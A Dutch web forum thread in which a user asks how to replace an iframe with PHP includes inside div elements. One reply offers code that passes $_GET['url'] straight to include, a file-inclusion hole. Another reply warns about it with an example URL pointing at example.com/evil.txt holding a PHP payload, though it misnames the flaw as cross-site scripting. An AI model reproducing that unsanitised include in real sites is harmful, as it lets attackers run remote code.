Hallo,

Ik ben mij site grondig aan het herstrucuteren mbv xhtml en css. De site die ik nu heb is een photoshopslices site met daarin een iframe (zie hier: http://www.timlogtenberg.nl :x). Niet echt chique als portfolio website, bovendien istie nogal oud ook.
Nu ben ik op zoek gegaan naar een alternatief voor dat iframe. Mede ook omdat ik in het verleden problemen heb gehad met php en iframes. Ik ben nu echter tot de conclusie gekomen dat die er voor html en css gewoon niet is. De makkelijkste oplossing lijkt me met php.
Ik zou echter niet precies weten waar te moeten beginnen. Ik ben bekend met de include functie icm tabellen. Maar tabellen ben ik dus nu vanaf. Alleen nog div's.
Hoe zou ik dit moeten doen. En dan met name hoe komt de link er uit te zien, en waar linkt'ie heen.

Alvast bedankt.
Zoek de verschillen:

<table>
  <tr>
    <td><?php include 'iets.php'; ?></td>
  </tr>
</table>

en

<div>
  <?php include 'iets.php'; ?>
</div>


En dan uitgaan van de basis, $_GET:

link:
index.php?pagina=pagina1
code index.php:

<?php
$safe_path = str_replace(array('/', '.', ':', '\\', 'index'), array('', '', '', '', ''), $_GET['pagina']);
?>
<div>
   <?php
      if (file_exists('./' . $safe_path . '.php')) {
         include './' . $safe_path . '.php';
      } else {
         echo 'Pagina niet gevonden';
      }
   ?>
</div>
@Jelmer: Leuk deze regel:
$safe_path = str_replace(array('/', '.', ':', '\\', 'index'), array('', '', '', '', ''), $_GET['pagina']);
Maar waarom '\\' en niet '\', heeft dat een reden?
Omdat hij anders de ' erna escaped, in deze zin:
echo 'Pagina\'s';

En met 2 keer \ escape ik weer het effect van \ als escape-karakter :)


iig, dat dacht ik.
@Jelmer: Ja natuurlijk. Het was zeker al bedtijd of zo. Ik keek te simpel.
je zou ook een DIV kunnen gebruiken..

een link naar..

<a href="index.php?url=..../pagina.php">Link1</a>


en in de DIV;

<?php
if(isset($_GET['url']))
{
    include($_GET['url']);
     }
else
{
?>

<p>je alternatieve groet, wanneer er geen pagina is geselecteerd...</p>

<?php
}
?>
Geert, dat ziet er uit als hetgene waar ik naar zoek. Ik kan het nu nog even niet uitproberen, maar ik heb stiekem toch alvast een vraagje.
Die link, wat hoort daar op de puntjes te staan? Of horen die puntjes zo?
Want, hoe weet je nou dat je wel naar die div linkt?

Of misschien moet ik het eerst maar even uitproberen..

iig bedankt :)
Nu moet je wel oppassen met de oplossing van Geert (die overigens hetzelfde is als die van mij, op wat kleinigheidjes na) dat je site vatbaar is voor gemene truukjes als cross-site-scripting. Ik kan nu ook zeggen ?pagina=http://example.com/evil.txt, met in evil.txt bijvoorbeeld de tekst:
<?php echo $password; ?>

En tada, door 'include' wordt het uitgevoerd.

Om dat te voorkomen, zodat die url niet goed doorgegeven wordt, heb ik die str_replace erin gezet. Dus dan maakt hij ervan 'httpexamploecomexittxt.php', en dat bestand kan hij niet vinden, dus krijg je gewoon de foutmelding.
die puntjes staan gewoon voor wat jij ervoor wilt hebben :)

bijvoorbeeld www.domein.com/map/pagina.php :)

als die pagina die je wilt hebben in dezelfde map zit als je index gebruik je dus gwoon;

<? // voor de kleur :)
<a href="index.php?url=pagina.php">Link1</a>
?>

Reageren